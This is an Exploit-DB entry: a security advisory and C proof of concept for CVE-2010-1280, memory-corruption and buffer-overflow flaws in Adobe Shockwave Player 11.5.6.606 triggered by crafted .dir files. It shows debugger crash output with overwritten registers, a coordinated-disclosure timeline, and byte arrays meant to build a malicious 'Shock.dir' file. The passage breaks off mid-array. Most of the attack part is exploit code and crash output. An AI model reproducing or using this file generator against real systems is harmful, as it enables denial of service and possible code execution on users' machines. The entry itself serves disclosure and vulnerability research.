Exploit-DB #12578
Description: Adobe Shockwave Player 11.5.6.606 - 'DIR' Multiple Memory Vulnerabilities
Type: dos
Platform: windows
Date: 2010-05-12
Author: LiquidWorm

Exploit:
/*


Title: Adobe Shockwave Player 11.5.6.606 (DIR) Multiple Memory Vulnerabilities




Vendor: Adobe Systems Incorporated


Product web page: http://www.adobe.com


Summary: Over 450 million Internet-enabled desktops have installed Adobe Shockwave Player.
	 These people now have access to some of the best the Web has to offer - including
	 dazzling 3D games and entertainment, interactive product demonstrations, and online
	 learning applications. Shockwave Player displays Web content that has been created
	 by Adobe Director.


Desc: Shockwave Player version 11.5.6.606 and earlier from Adobe suffers from a memory consumption / 
      corruption and buffer overflow vulnerabilities that can aid the attacker to cause denial of service
      scenarios and arbitrary code execution. The vulnerable software fails to sanitize user input when
      processing .dir files resulting in a crash and overwrite of a few memory registers.


Tested on: Microsoft Windows XP Professional SP3 (English)


Version tested: 11.5.6.606



====================================================================================================

 (f94.ae4): Access violation - code c0000005 (first chance)
 First chance exceptions are reported before any exception handling.
 This exception may be expected and handled.
 eax=20a0a0a0 ebx=207d004c ecx=00000400 edx=41414140 esi=00000000 edi=a80487d8
 eip=68008bd6 esp=0012de4c ebp=00000400 iopl=0         nv up ei pl nz na pe nc
 cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00050206
 *** WARNING: Unable to verify checksum for C:\Program Files\Adobe\Adobe Director 11\DIRAPI.dll
 *** ERROR: Symbol file could not be found.  Defaulted to export symbols for DIRAPI.dll - 
 DIRAPI!Ordinal14+0x3b16:
 68008bd6 2b4f04          sub     ecx,dword ptr [edi+4] ds:0023:a80487dc=????????

----------------------------------------------------------------------------------------------------

EAX FFFFFFFF
ECX 41414141
EDX FFFFFFFF
EBX 00000018
ESP 0012F3B4
EBP 02793578
ESI 0012F3C4
EDI 02793578
EIP 69009F1F IML32.69009F1F

====================================================================================================





Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

liquidworm gmail com

Zero Science Lab - Macedonian Information Security Research & Development Laboratory

http://www.zeroscience.mk

19.09.2009




Zero Science Lab Advisory ID: ZSL-2010-4937

Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4937.php

Adobe Advisory ID: APSB10-12

Advisory: http://www.adobe.com/support/security/bulletins/apsb10-12.html

CVE ID: CVE-2010-1280




Disclosure timeline: [19.09.2009] Vulnerability discovered.
		     [09.03.2010] Vendor contacted with sent PoC files.
		     [09.03.2010] Vendor replied.
		     [21.03.2010] Asked vendor for confirmation.
		     [21.03.2010] Vendor verifies the weakness.
		     [06.05.2010] Vendor reveals patch release date.
		     [11.05.2010] Coordinated public advisory.


*/


#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
 
#define FFORMAT "Shock.dir"
 
FILE *fp;


char shocks[] = {
	0x58, 0x46, 0x49, 0x52, 0x2C, 0x23, 0x00, 0x00, 0x33, 0x39, 0x56, 0x4D, 0x70, 0x61, 0x6D, 0x69, 
	0x18, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x82, 0x07, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x61, 0x6D, 0x6D, 
	0x38, 0x03, 0x00, 0x00, 0x18, 0x00, 0x14, 0x00, 0x28, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 
	0x18, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x58, 0x46, 0x49, 0x52, 
	0x2C, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x70, 0x61, 0x6D, 0x69, 0x18, 0x00, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 
	0x88, 0x8F, 0xE2, 0x0B, 0x70, 0x61, 0x6D, 0x6D, 0x38, 0x03, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0xE4, 0x6A, 0xE2, 0x0B, 0x2A, 0x59, 0x45, 0x4B, 0x74, 0x01, 0x00, 0x00, 
	0x6C, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x74, 0x53, 0x41, 0x43, 
	0x93, 0x00, 0x00, 0x00, 0xE4, 0x1B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x2A, 0x53, 0x41, 0x43, 0x04, 0x00, 0x00, 0x00, 0xD8, 0x1B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x58, 0x74, 0x63, 0x4C, 0x6C, 0x00, 0x00, 0x00, 0x80, 0x1C, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6B, 0x6E, 0x75, 0x6A, 0x00, 0x00, 0x00, 0x00, 
	0x86, 0x20, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x6B, 0x6E, 0x75, 0x6A, 
	0x00, 0x00, 0x00, 0x00, 0x7E, 0x20, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00 //252
};

char shocke[] = {
	0x66, 0x6E, 0x69, 0x43, 0x3C, 0x00, 0x00, 0x00, 0x94, 0x1B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x6D, 0x61, 0x6E, 0x4C, 0x81, 0x03, 0x00, 0x00, 0xF4, 0x1C, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6D, 0x75, 0x68, 0x54, 0xC2, 0x00, 0x00, 0x00, 
	0x6A, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0x43, 0x52, 0x44, 
	0x64, 0x00, 0x00, 0x00, 0xE8, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x70, 0x6D, 0x58, 0x46, 0xEE, 0x0E, 0x00, 0x00, 0x74, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x4C, 0x73, 0x43, 0x4D, 0x3A, 0x00, 0x00, 0x00, 0xF6, 0x18, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x72, 0x6F, 0x53, 0x18, 0x00, 0x00, 0x00, 
	0x54, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x49, 0x46, 0x57, 0x56, 
	0xA8, 0x00, 0x00, 0x00, 0x8E, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x43, 0x53, 0x57, 0x56, 0xF8, 0x00, 0x00, 0x00, 0x3E, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x00, 0x6B, 0x6E, 0x75, 0x6A, 0x00, 0x00, 0x00,